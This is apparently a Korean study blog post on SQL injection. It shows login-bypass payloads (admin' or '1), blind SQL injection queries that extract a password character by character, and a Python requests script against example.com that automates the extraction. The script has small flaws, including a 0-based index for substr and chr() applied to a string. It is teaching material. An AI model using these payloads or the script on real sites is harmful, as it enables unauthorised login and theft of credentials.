Web Hacking/Study

SQL Injection 취약점

박연준 2023. 7. 1. 22:52

SQL Injection

SQL은 DBMS에 데이터를 질의하는 언어이다. 웹 서비스는 이용자의 입력을 SQL 구문에 포함해 요청하는 경우가 있다. 예를 들면, 로그인 시에 ID/PW를 포함하거나, 게시글의 제목과 내용을 SQL 구문에 포함한다.
  • 다음 코드는 로그인 할 때 애플리케이션이 DBMS에 질의하는 예시 쿼리이다.
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='user' and user_pw='password': user_id 컬럼이 user이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 user이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='user' and user_pw='password'
💡
쿼리문을 살펴보면, 이용자가 입력한 “user”와 “password” 문자열을 SQL 구문에 포함하는 것을 확인할 수 있다. 이렇게 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 한다. SQL Injection이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있다.
  • 다음 코드는 SQL Injection으로 조작한 쿼리문의 예시이다.
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'
쿼리를 살펴보면, user_pw조건문이 사라진 것을 확인할 수 있다. 조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있다.

Simple SQL Injection

  • 아이디와 비밀번호를 입력받고 DBMS에 조회하기 위한 쿼리를 생성한다.
  • user_table은 다음과 같이 구현되어 있다.
uidupw
guestguest
admin************
목표는 쿼리 질의를 통해 admin 결과를 반환하는 것이다. SQL Injection 공격에서 제일 중요한 것은 이용자의 입력값이 SQL 구문으로 해석되도록 해야 한다.
다음 쿼리문의 경우, 이용자의 입력값을 문자열로 나타내기 위해 '문자를 사용하는 것을 볼 수 있다. 여기서 이용자의 입력값이 SQL 구문으로 해석되도록 하기 위해서는 '문자를 입력하는 방법이 있다.
Select uid from user_table where uid='' and upw=''
  • uid에 admin' or '1을 입력하고, 비밀번호를 입력하지 않았을 때 생성되는 쿼리문은 다음과 같다.
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
쿼리문을 살펴보면 두 개의 조건으로 나눠볼 수 있다. 첫 번째 조건은 uid가 “admin”인 데이터, 두 번째 조건은 이전의 식이 참(True)이고, upw가 없는 경우이다. 첫 번째 조건은 admin의 결과를 반환하고, 두 번째 조건은 아무런 결과도 반환하지 않는다. 다시 말해, uid가 “admin”인 데이터를 반환하기 때문에 관리자 계정으로 로그인할 수 있다. 이 외에도, 주석( --, #, /**/)을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있다.

Blind SQL Injection

💡
질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법을 Blind SQL Injection 기법이라고 한다.
  • 다음 코드는 Blind SQL Injection 공격 시에 사용할 수 있는 쿼리이다.
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
  • 쿼리를 살펴보면, 세 개의 조건이 있는 것을 확인할 수 있다. 조건을 살펴보기 전에 ascii 와 substr함수에 대해서 알아보자.

ascii

  • 전달된 문자를 아스키 형태로 반환하는 함수이다. 예를 들어, ascii('a')를 실행하면 'a' 문자의 아스키 값인 97을 반환한다.

substr

  • 해당 함수에 전달되는 인자와 예시는 다음과 같다. 해당 함수는 문자열에서 지정한 위치부터 길이까지의 값을 가져온다.
substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'
공격 쿼리문의 두 번째 조건을 살펴보면, upw의 첫 번째 값을 아스키 형태로 변환한 값이 114('r') 또는 115('s')인지 질의한다. 질의 결과는 로그인 성공 여부로 참/거짓을 판단할 수 있다. 만약 로그인이 실패할 경우 첫 번째 문자가 'r'이 아님을 의미한다. 이처럼 쿼리문의 반환 결과를 통해 admin 계정의 비밀번호를 획득할 수 있다.

Blind SQL Injection 공격 스크립트

💡
Blind SQL Injection은 한 바이트씩 비교하여 공격하는 방식이기 때문에 다른 공격에 비해 많은 시간을 들여야한다. 이러한 문제를 해결하기 위해서는 공격을 자동화하는 스크립트를 작성하는 방법이 있다.
  • 공격 스크립트를 작성하기에 앞서 유용한 라이브러리를 알아보자.
  • 파이썬은 HTTP 통신을 위한 다양한 모듈이 존재하는데, 대표적으로 requests모듈이 있다. 해당 모듈은 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있다.
  • 다음 코드는 requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 예제 코드이다.
import requests

url = 'https://www.naver.com/'

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'NAVER_REQUEST'
}

params = {
    'test': 1,
}

for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)
  • 다음 코드는 HTTP의 POST 메소드 통신을 하는 예제 코드입니다. 
  • requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로 URL과 Header, Body와 함께 요청을 전송할 수 있다.
import requests

url = 'https://www.naver.com/'

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'NAVER_REQUEST'
}

data = {
    'test': 1,
}

for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)
GET, POST 메소드 이외에도 다양한 메소드를 사용해 요청을 전송할 수 있으며, 더욱 자세한 기능은 아래 첨부한 공식 문서를 참고해보자.
Requests 모듈 공식 문서
https://docs.python-requests.org/en/master/

Blind SQL Injection 공격 스크립트 작성

  • 앞서 다룬 예제에서 Blind SQL Injection을 시도한다고 가정해보자.
  • 공격하기에 앞서, 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위를 지정해야 한다. 예를 들어, 비밀번호의 경우 알파벳과 숫자 그리고 특수 문자로 이뤄집니다. 이는 아스키 범위로 나타내면 32부터 126까지의 모든 문자이다.
  • 이를 고려해 작성한 스크립트는 다음 코드와 같다.
#!/usr/bin/python3
import requests
import string

url = 'http://example.com/login' # example URL

params = {
    'uid': '',
    'upw': ''
}

tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~

query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''

for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break

print(f"Password is {password}")
💡
코드를 살펴보면, 비밀번호에 포함될 수 있는 문자를 string모듈을 사용해 생성하고, 한 바이트씩 모든 문자를 비교하는 반복문을 작성한다. 반복문 실행 중에 반환 결과가 참일 경우에 페이지에 표시되는 “Login success” 문자열을 찾고, 해당 결과를 반환한 문자를 password변수에 저장한다. 반복문을 마치면 “admin” 계정의 비밀번호를 알아낼 수 있다.
  • 다음은 예제 코드의 실행 결과이다.
$ python3 bsqli.py
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D97--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D98--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D99--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D100--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D101--&upw=
http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D102--&upw=

'Web Hacking > Study' 카테고리의 다른 글

Non-Relational DBMS  (0) 2023.07.01
Relational DBMS  (0) 2023.07.01
CSS Injection 취약점  (0) 2023.06.26
Client Side Template Injection 취약점  (0) 2023.06.26
XSS CSRF SSRF 차이  (0) 2023.06.26